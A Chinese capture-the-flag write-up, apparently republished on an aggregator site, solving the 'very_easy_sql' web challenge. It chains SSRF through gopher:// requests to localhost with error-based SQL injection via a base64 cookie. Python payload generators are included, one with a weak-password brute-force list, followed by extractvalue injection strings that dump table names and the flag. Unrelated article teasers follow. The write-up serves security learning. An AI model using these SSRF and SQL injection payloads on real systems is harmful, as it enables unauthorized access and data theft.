攻防世界——Web題 very_easy_sql

目錄

payload1

payload2

payload3

?

看到了題目是sql就猜測是sql注入和萬能密碼了,但怎么試貌似都沒有反應,看源代碼發現了use.php

訪問use.php頁面?

可以猜測這里是SSRF,可以訪問到我們本不能訪問的界面,比如:服務器本地的127.0.0.1:3306

先嘗試127.0.0.1

發現成功包含了index.php頁面,此頁面端口號為80端口,而我們要用到的就是這個端口,還記得一開始的頁面:

應該是借助這里的SSRF,才有正常的身份驗證權,現在就是想如何借助SSRF向服務器構造請求,讓服務器正常執行我們的身份驗證權。下面是我之前的一些嘗試:

嘗試:file:///flag -> nonono 猜測有協議過濾

最終發現gopher不會出現nono用no,這也是我們可以利用的一個協議

gopher協議:可直接封裝TCP數據流,模擬基于TCP的應用層協議,只要按目標服務的協議格式構造數據,就能通過gopher協議發送請求。借用該協議SSRF可借助服務器權限攻擊內網中原本無法直接訪問的服務,實現命令執行,文件寫入等高危操作。?

?接下來直接來構造,參考的是這位師傅的文章:攻防世界 very_easy_sql - 寄居動物 - 博客園

payload1

import urllib.parsehost="127.0.0.1:80" 
content_type="application/x-www-form-urlencoded" # 表示請求體是經過 URL 編碼的表單數據
content="uname=admin&passwd=admin" # 請求的POST內容
content_length=len(content)data =\
f'''POST /index.php HTTP/1.1
Host: {host}
Content-Type: {content_type}
Content-Length: {content_length}{content}
'''data_url1 = urllib.parse.quote(data) # 將請求轉換為URL編碼格式
data_url1 = data_url1.replace("%0A","%0D%0A")
# HTTP請求中的行分隔符是\r\n(即%0D%0A的形式)
# 而Python中字符串的默認行為中換行符是\n 所以需要將0a替換為0d0a
data_url2=urllib.parse.quote(data_url1) # 要URL編碼解碼兩次payload='gopher://127.0.0.1:80/_'+data_url2print(payload)

這是借助師傅的wp寫出來的, 其中有一點沒想明白的是,這里默認是admin/admin,是弱密碼沒錯,但我覺得這里應該有一個爆破的環節,對password進行爆破;而password長度的區別又會影響到content_length的長度(經實驗,如果content_length不同的話無法得出答案),所以進行爆破的部分也許可以是這個URL部分:
修改后的代碼:

payload2

import urllib.parsedef generate_payload(password):host = "127.0.0.1:80"content_type = "application/x-www-form-urlencoded"content = f"uname=admin&passwd={password}"content_length = len(content)# 構造HTTP請求,確保包含正確的Content-Lengthdata = f'''POST /index.php HTTP/1.1Host: {host}Content-Type: {content_type}Content-Length: {content_length}{content}'''# 第一次URL編碼data_url1 = urllib.parse.quote(data)# 替換換行符為HTTP標準的\r\ndata_url1 = data_url1.replace("%0A", "%0D%0A")# 第二次URL編碼data_url2 = urllib.parse.quote(data_url1)# 生成最終的Gopher URIpayload = f'gopher://{host}/_{data_url2}'return payloaddef main():# 定義密碼字典passwords = ["password", "123456", "12345678", "qwerty", "abc123","monkey", "1234567", "letmein", "trustno1", "dragon","baseball", "111111", "iloveyou", "master", "sunshine","ashley", "bailey", "passw0rd", "shadow", "123123","654321", "superman", "qazwsx", "michael", "Football", "admin"]# 換成自己的字典# 打開文件以保存結果with open('test.txt', 'w') as f:for password in passwords:payload = generate_payload(password)f.write(f"{payload}\n")print(f"Generated payload for password: {password}")print(f"\n所有payload已保存到 test.txt 文件中")if __name__ == "__main__":main()    

?嘗試爆破:

?

稍微有些慢,得到1525長度的URL,對應的密碼為admin?

得到payload:

gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A

響應包為:

?

base64解碼得: admin? ?接下來。。。也不知道怎么辦了,加上Cookie參數試試也沒反應,后來才知道這里才是用sql的地方。。。

現在直接用python腳本來測sql,構造請求包,也是參考的上面師傅的文章:

payload3

import base64
import urllib.parse
import requests# 初始化請求
url="http://61.147.171.103:54075/use.php"
headers={'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0'}def payload(sql):sql=base64.b64encode(sql.encode('utf-8')).decode('utf-8')cookie=f"this_is_your_cookie={sql}"data = \
f'''POST /index.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Cookie: {cookie}
'''# 注意這里的data不能縮進data_url1 = urllib.parse.quote(data)data_url1 = data_url1.replace("%0A","%0D%0A")gopher='gopher://127.0.0.1:80/_'+data_url1return gopher# 測試
sql="admin'"pay=payload(sql)
print(pay)
params={'url':f'{pay}'}
res=requests.get(url,params=params)
print(res.text)

?

發現閉合方式,且可嘗試報錯注入

# 爆庫得到:security

sql="admin') and extractvalue(1,concat(0x7e,database())) #

# 爆表得到:emails,flag,referers,uagents,us

admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'))) #

# 爆列名得到:flag

admin') and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='flag'))) #

# 爆值得到:cyberpeace{56c067fba665158ddcac12237bcbfa9e}

admin') and extractvalue(1,concat(0x7e,(select left(flag,20) from flag))) #

admin') and extractvalue(1,concat(0x7e,(select right(flag,20) from flag))) #

?


?

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/90912.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/90912.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/90912.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

基于 SpringBoot 的 REST API 與 RPC 調用的統一封裝

一、為何需要統一封裝? 在討論統一封裝之前,我們先看看 REST 和 RPC 各自的適用場景。 REST API 基于 HTTP 協議,采用 JSON 作為數據交換格式,可讀性好且跨語言,非常適合對外提供服務。 RPC(如 Dubbo、gRPC…

【SpringBoot】 整合MyBatis+Postgresql

MyBatis 是一個輕量級的持久化框架,用于簡化數據庫訪問和操作。它通過將 SQL 語句與 Java 代碼分離,允許開發者使用 XML 或注解來配置 SQL 語句,并將結果映射為 Java 對象。MyBatis 提供了靈活的 SQL 控制,適合需要精細控制 SQL 的…

無縫銜接直播流體驗

文章目錄前言🧠 1. 為什么能“無縫銜接”?🧰 2. Flutter 實現方案? 總體策略🎯 核心技術點? a. 使用全局播放器管理器(單例模式)? b. 廣場頁中的直播卡片使用播放器? c. 詳情頁復用控制器? d. 頁面切換…

[論文閱讀] 軟件工程 | 首個德語軟件工程情感分析黃金標準數據集:構建與價值解析

首個德語軟件工程情感分析黃金標準數據集:構建與價值解析 論文標題:A German Gold-Standard Dataset for Sentiment Analysis in Software EngineeringarXiv:2507.07325 A German Gold-Standard Dataset for Sentiment Analysis in Software Engineering…

PyTorch編程實踐:一文就入門的上手開發!

引言 PyTorch作為當今深度學習領域最流行的框架之一,以其動態計算圖、直觀的Python接口和強大的GPU加速能力,贏得了眾多研究人員和工程師的青睞。本文將深入探討PyTorch的編程實踐,從基礎概念到高級應用,幫助讀者全面掌握這一強大…

關于學習docker中遇到的問題

Cannot connect to the Docker daemon at unix:///home/pc/.docker/desktop/docker.sock. Is the docker daemon running?如何配置新的路徑 #運行這條命令,查看docker狀態 sudo systemctl status docker如圖所示表示監聽路徑不對,因此修改路徑即可&…

無法打開windows安全中心解決方案

系統還原或重置:如果以上方法均無效,可嘗試系統還原,使用之前創建的還原點恢復系統。或在設置中選擇 “系統> 恢復 > 重置此電腦”,選擇 “保留我的文件” 以避免數據丟失。創建新用戶賬戶:按下 Win I 打開設置…

復習筆記 33

緒論 《幻術》 張葉蕾 我該怎么承認, 一切都是幻境。 函數的基本性質和無窮小量及其階的比較 我感覺強化課我要跟上的話,我需要把基礎,強化的講義,還有練習冊上面的所有題都刷爛。不然我感覺自己考 140 完全就是癡人說夢。搞笑呢。…

算法學習筆記:12.快速排序 ——從原理到實戰,涵蓋 LeetCode 與考研 408 例題

快速排序是計算機科學中最經典的排序算法之一,由 Tony Hoare 在 1960 年提出。它憑借平均時間復雜度 O (nlogn)、原地排序(空間復雜度 O (logn),主要來自遞歸棧)以及良好的實際性能,成為工業界處理大規模數據排序的首選…

unity 有打擊感的圖片,怎么做動畫,可以表現出良好的打擊效果

完整實現腳本:using UnityEngine; using UnityEngine.UI; using System.Collections;[RequireComponent(typeof(Image))] public class HitEffectController : MonoBehaviour {[Header("基礎設置")]public float hitDuration 0.5f; // 打擊效果總時長[Header("…

cuda編程筆記(7)--多GPU上的CUDA

零拷貝內存 在流中,我們介紹了cudaHostAlloc這個函數,它有一些標志,其中cudaHostAllocMapped允許內存映射到設備,也即GPU可以直接訪問主機上的內存,不用額外再給設備指針分配內存 通過下面的操作,即可讓設…

IP地址混亂?監控易IPAM實現全網地址自動化管理與非法接入告警

IP地址出現混亂狀況?監控易IPAM能夠達成對全網地址予以自動化管理的目標,同時還可針對非法接入的情況發出告警信息。辦公室毫無預兆地突然斷網了,經過一番仔細排查之后,發現原來是IP地址出現了沖突的情況。有人私自接了路由器&…

安全監測預警平臺的應用場景

隨著城市化進程加快和基礎設施規模擴大,各類安全風險日益突出。安全監測預警平臺作為現代安全管理的重要工具,通過整合物聯網、大數據、人工智能等先進技術,實現對各類安全隱患的實時監測、智能分析和精準預警。本文將詳細探討安全監測預警平…

007_用例與應用場景

用例與應用場景 目錄 內容創作編程開發數據分析客戶服務教育培訓商業智能研究輔助 內容創作 文案撰寫 應用場景: 營銷文案和廣告語產品描述和說明書社交媒體內容郵件營銷內容 實際案例: 任務:為新款智能手表撰寫產品描述 輸入&#x…

Unity物理系統由淺入深第一節:Unity 物理系統基礎與應用

Unity物理系統由淺入深第一節:Unity 物理系統基礎與應用 Unity物理系統由淺入深第二節:物理系統高級特性與優化 Unity物理系統由淺入深第三節:物理引擎底層原理剖析 Unity物理系統由淺入深第四節:物理約束求解與穩定性 Unity 引擎…

《[系統底層攻堅] 張冬〈大話存儲終極版〉精讀計劃啟動——存儲架構原理深度拆解之旅》-系統性學習筆記(適合小白與IT工作人員)

🔥 致所有存儲技術探索者筆者近期將系統攻克存儲領域經典巨作——張冬老師編著的《大話存儲終極版》。這部近千頁的存儲系統圣經,以庖丁解牛的方式剖析了:存儲硬件底層架構、分布式存儲核心算法、超融合系統設計哲學等等。喜歡研究數據存儲或…

flutter鴻蒙版 環境配置

flutter支持開發鴻蒙,但是需要專門的flutter鴻蒙項目, Flutter鴻蒙化環境配置(windows)_flutter config --ohos-sdk-CSDN博客

Java 高級特性實戰:反射與動態代理在 spring 中的核心應用

在 Java 開發中,反射和動態代理常被視為 “高級特性”,它們看似抽象,卻支撐著 Spring、MyBatis 等主流框架的核心功能。本文結合手寫 spring 框架的實踐,從 “原理” 到 “落地”,詳解這兩個特性如何解決實際問題&…

Codeforces Round 855 (Div. 3)

A. Is It a Cat? 去重&#xff0c; 把所有字符看成大寫字符&#xff0c; 然后去重&#xff0c; 觀察最后結果是不是“MEOW” #include <bits/stdc.h> #define int long longvoid solve() {int n;std::cin >> n;std::string ans, t;std::cin >> ans;for (int…

Scrapy選擇器深度指南:CSS與XPath實戰技巧

引言&#xff1a;選擇器在爬蟲中的核心地位在現代爬蟲開發中&#xff0c;??選擇器??是數據提取的靈魂工具。根據2023年網絡爬蟲開發者調查數據顯示&#xff1a;??92%?? 的數據提取錯誤源于選擇器編寫不當熟練使用選擇器的開發效率相比新手提升 ??300%??同時掌握CSS…